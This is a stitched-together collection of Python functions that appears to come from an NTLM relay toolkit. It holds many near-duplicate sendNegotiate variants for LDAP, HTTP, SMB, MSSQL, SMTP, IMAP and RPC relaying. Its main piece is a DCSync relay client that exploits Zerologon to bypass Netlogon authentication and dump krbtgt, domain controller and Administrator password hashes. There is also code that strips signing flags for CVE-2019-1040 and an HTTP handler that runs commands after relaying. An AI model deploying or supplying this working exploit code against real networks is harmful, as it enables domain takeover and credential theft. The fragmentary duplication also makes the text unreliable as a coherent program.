def sendNegotiate(self,negotiateMessage): #Also partly copied from tds.py login = TDS_LOGIN() login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) login['PacketSize'] = self.packetSize login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate login['SSPI'] = str(negotiateMessage) login['Length'] = len(str(login)) # Send the NTLMSSP Negotiate self.sendTDS(TDS_LOGIN7, str(login)) # According to the specs, if encryption is not required, we must encrypt just # the first Login packet :-o if self.resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() self.sessionData['NTLM_CHALLENGE'] = tds challenge = NTLMAuthChallenge() challenge.fromString(tds['Data'][3:]) #challenge.dump() return challenge
def sendNegotiate(self, negotiateMessage): #Remove the message signing flag #For LDAP this is required otherwise it triggers LDAP signing negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = str(negoMessage) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode('ascii').split(';') except KeyError: raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException('Server did not offer NTLM authentication!')
def sendNegotiate(self,negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) headers = {'Authorization':'NTLM %s' % negotiate} self.session.request('GET', self.path ,headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def sendNegotiate(self, auth_data): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(auth_data) if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL self.negotiateMessage = negoMessage.getData() bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage) self.challenge = NTLMAuthChallenge() self.challenge.fromString(bindResp['auth_data']) return self.challenge
def sendNegotiate(self, negotiateMessage): # Remove the message signing flag # For LDAP this is required otherwise it triggers LDAP signing # Note that this code is commented out because changing flags breaks the signature # unless the client uses a non-standard implementation of NTLM negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = str(negoMessage) # Warn if the relayed target requests signing, which will break our attack if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: LOG.warning( 'The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)' ) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode( 'ascii').split(';') except KeyError: raise LDAPRelayClientException( 'Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException( 'Server did not offer NTLM authentication!')
def sendNegotiate(self, negotiateMessage): #Check if server wants auth if self.body is not None: self.session.request('POST', self.path, self.body, {"Content-Type": "text/xml"}) else: self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info( 'Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) if self.body is not None: headers = { 'Authorization': 'NTLM %s' % negotiate, "Content-Type": "text/xml" } self.session.request('POST', self.path, self.body, headers=headers) else: headers = {'Authorization': 'NTLM %s' % negotiate} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def sendNegotiate(self, negotiateMessage): negotiate = NTLMAuthNegotiate() negotiate.fromString(negotiateMessage) #Remove the signing flag negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge
def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: # constants.isRunning = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security = True) self.client.set_timeout(60) except Exception, e: print "Connection against target %s FAILED" % self.target print str(e) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage))
def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge self.serverChallenge = challenge['challenge'] return challenge
def sendNegotiate(self, negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info( 'Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader( 'WWW-Authenticate') and 'Negotiate' not in res.getheader( 'WWW-Authenticate'): LOG.error( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False if 'NTLM' in res.getheader('WWW-Authenticate'): self.authenticationMethod = "NTLM" elif 'Negotiate' in res.getheader('WWW-Authenticate'): self.authenticationMethod = "Negotiate" except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage).decode("ascii") headers = { 'Authorization': '%s %s' % (self.authenticationMethod, negotiate) } self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search( ('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server') return False
def sendNegotiate(self,negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.putcmd('AUTH NTLM') code, resp = self.session.getreply() if code != 334: LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) return False else: self.session.putcmd(negotiate) try: code, serverChallengeBase64 = self.session.getreply() serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from SMTP server') raise
def sendNegotiate(self,negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) resp = self.session.readline().strip() if resp != '+': LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) return False else: self.session.send(negotiate + imaplib.CRLF) try: serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from IMAP server') raise
def sendNegotiate(self, negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag, imaplib.CRLF)) resp = self.session.readline().strip() if resp != '+': LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) return False else: self.session.send(negotiate + imaplib.CRLF) try: serverChallengeBase64 = self.session.readline().strip()[ 2:] #first two chars are the continuation and space char serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from IMAP server') raise
def sendNegotiate(self, negotiateMessage): #Remove the message signing flag #For LDAP this is required otherwise it triggers LDAP signing negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = str(negoMessage) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode( 'ascii').split(';') except KeyError: raise LDAPRelayClientException( 'Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException( 'Server did not offer NTLM authentication!')
def sendNegotiate(self, negotiateMessage): #Also partly copied from tds.py login = TDS_LOGIN() login['HostName'] = (''.join([ random.choice(string.letters) for _ in range(8) ])).encode('utf-16le') login['AppName'] = (''.join([ random.choice(string.letters) for _ in range(8) ])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0, 1024) login['PacketSize'] = self.packetSize login[ 'OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate login['SSPI'] = str(negotiateMessage) login['Length'] = len(str(login)) # Send the NTLMSSP Negotiate self.sendTDS(TDS_LOGIN7, str(login)) # According to the specs, if encryption is not required, we must encrypt just # the first Login packet :-o if self.resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() self.sessionData['NTLM_CHALLENGE'] = tds challenge = NTLMAuthChallenge() challenge.fromString(tds['Data'][3:]) #challenge.dump() return challenge
def sendNegotiate(self, negotiateMessage): # Remove the message signing flag # For LDAP this is required otherwise it triggers LDAP signing # Note that this code is commented out because changing flags breaks the signature # unless the client uses a non-standard implementation of NTLM negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = negoMessage.getData() # Warn if the relayed target requests signing, which will break our attack if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: LOG.warning('The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)') with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode('ascii').split(';') except KeyError: raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException('Server did not offer NTLM authentication!')
def sendNegotiate(self, negotiateMessage): negotiate = NTLMAuthNegotiate() negotiate.fromString(negotiateMessage) #Remove the signing flag negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge
class DCSYNCRelayClient(ProtocolClient): """ DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon. """ PLUGIN_NAME = "DCSYNC" def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.endpoint = serverConfig.rpc_mode self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI LOG.debug( "Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint)) self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp') LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding)) def initConnection(self): rpctransport = transport.DCERPCTransportFactory(self.stringbinding) if self.serverConfig.rpc_use_smb: LOG.info( "Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port)) rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) rpctransport.set_dport(self.serverConfig.rpc_smb_port) self.session = MYDCERPC_v5(rpctransport) self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.session.connect() return True def sendNegotiate(self, auth_data): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(auth_data) if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL self.negotiateMessage = negoMessage.getData() bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage) self.challenge = NTLMAuthChallenge() self.challenge.fromString(bindResp['auth_data']) return self.challenge def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1] )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) auth_data = respToken2['ResponseToken'] else: auth_data = authenticateMessageBlob remoteOps = None try: signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob) # Something failed if signingkey == 0: return self.session.set_session_key(signingkey) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(auth_data) # Recalc mic authenticateMessage['MIC'] = b'\x00' * 16 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL newmic = ntlm.hmac_md5( signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData()) authenticateMessage['MIC'] = newmic self.session.sendBindType3(authenticateMessage.getData()) # Now perform DRS bind # This code comes from secretsdump directly request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) # Initialize remoteoperations if self.serverConfig.smbuser != '': smbConnection = SMBConnection(self.target.netloc, self.target.netloc) smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) remoteOps = RemoteOperations(smbConnection, False) else: remoteOps = PatchedRemoteOperations(None, False) # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again LOG.debug( "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt['dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.session.request(request) remoteOps._RemoteOperations__hDrs = resp['phDrs'] domainName = authenticateMessage['domain_name'].decode('utf-16le') # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo( self.session, remoteOps._RemoteOperations__hDrs, domainName, 2) # LOG.debug('DRSDomainControllerInfo() answer') # resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[ 'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: LOG.error("Couldn't get DC info for domain %s" % domainName) raise Exception('Fatal, aborting') remoteOps._RemoteOperations__drsr = self.session # Initialize NTDSHashes object if self.serverConfig.smbuser != '': # We can dump all :) nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=None, printUserStatus=False) nh.dump() else: # Most important, krbtgt nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/krbtgt', printUserStatus=False) nh.dump() # Also important, DC hash (to sync fully) av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode( 'utf-16le') nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/' + serverName + '$', printUserStatus=False) nh.dump() # Finally, builtin\Administrator providing it was not renamed try: nh = NTDSHashes(None, None, isRemote=True, history=False, noLMHash=False, remoteOps=remoteOps, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName='hashes', justUser=domainName + '/Administrator', printUserStatus=False) nh.dump() except Exception: LOG.error('Could not dump administrator (renamed?)') return None, STATUS_SUCCESS except Exception as e: traceback.print_exc() finally: if remoteOps is not None: remoteOps.finish() def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key LOG.info("Connecting to %s NETLOGON service" % self.target.netloc) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken']) domainName = authenticateMessage['domain_name'].decode('utf-16le') flags = authenticateMessage['flags'] try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: LOG.debug("Exception:", exc_info=True) # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) MAX_ATTEMPTS = 6000 for attempt in range(0, MAX_ATTEMPTS): resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'\x00' * 8) serverChallenge = resp['ServerChallenge'] ppp = b'\x00' * 8 try: nrpc.hNetrServerAuthenticate3( dce, NULL, serverName + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', ppp, 0x212effef) except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: continue else: LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) except BaseException as ex: LOG.error('Unexpected error: %s', str(ex)) LOG.info( 'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) break else: LOG.error( 'No success bypassing auth after 6000 attempts. Target likely patched!' ) return clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0] request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = lflags request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = challenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator[ 'Credential'] = b'\x00' * 8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 #request.dump() try: resp = dce.request(request) #resp.dump() except DCERPCException as e: LOG.debug('Exception:', exc_info=True) LOG.error(str(e)) return e.get_error_code() LOG.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != '': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8')) if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY( flags, signingKey) self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY( flags, signingKey, b"Server") self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY( flags, signingKey) self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY( flags, signingKey, b"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey) self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey) self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.session._DCERPC_v5__clientSigningKey = signingKey self.session._DCERPC_v5__serverSigningKey = signingKey self.session._DCERPC_v5__clientSealingKey = signingKey self.session._DCERPC_v5__serverSealingKey = signingKey cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey) self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt self.session._DCERPC_v5__sequence = 0 self.session._DCERPC_v5__flags = flags return signingKey def killConnection(self): if self.session is not None: self.session.get_rpc_transport().disconnect() self.session = None def keepAlive(self): return
def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message='NTLM') pass else: # constants.is_running = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security=True) self.client.set_timeout(60) except Exception as e: print("Connection against target %s FAILED" % self.target) print(str(e)) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message='NTLM ' + base64.b64encode(clientChallengeMessage)) elif messageType == 3: authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(token) clientResponse, errorCode = self.client.sendAuth( self.challengeMessage['challenge'], respToken2.getData()) if errorCode != STATUS_SUCCESS: # print("[-] Authenticating against %s FAILED" % self.target) self.do_AUTHHEAD('NTLM') constants.authentication_succeed = False else: # print("[+] Authentication SUCCEED") constants.authentication_succeed = True execute_cmd = DoAttack(self.client, self.server.command) constants.output_cmd = execute_cmd.run() constants.smb_client = self.client # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length', '0') self.end_headers() self.server.server_close() self.server.shutdown()
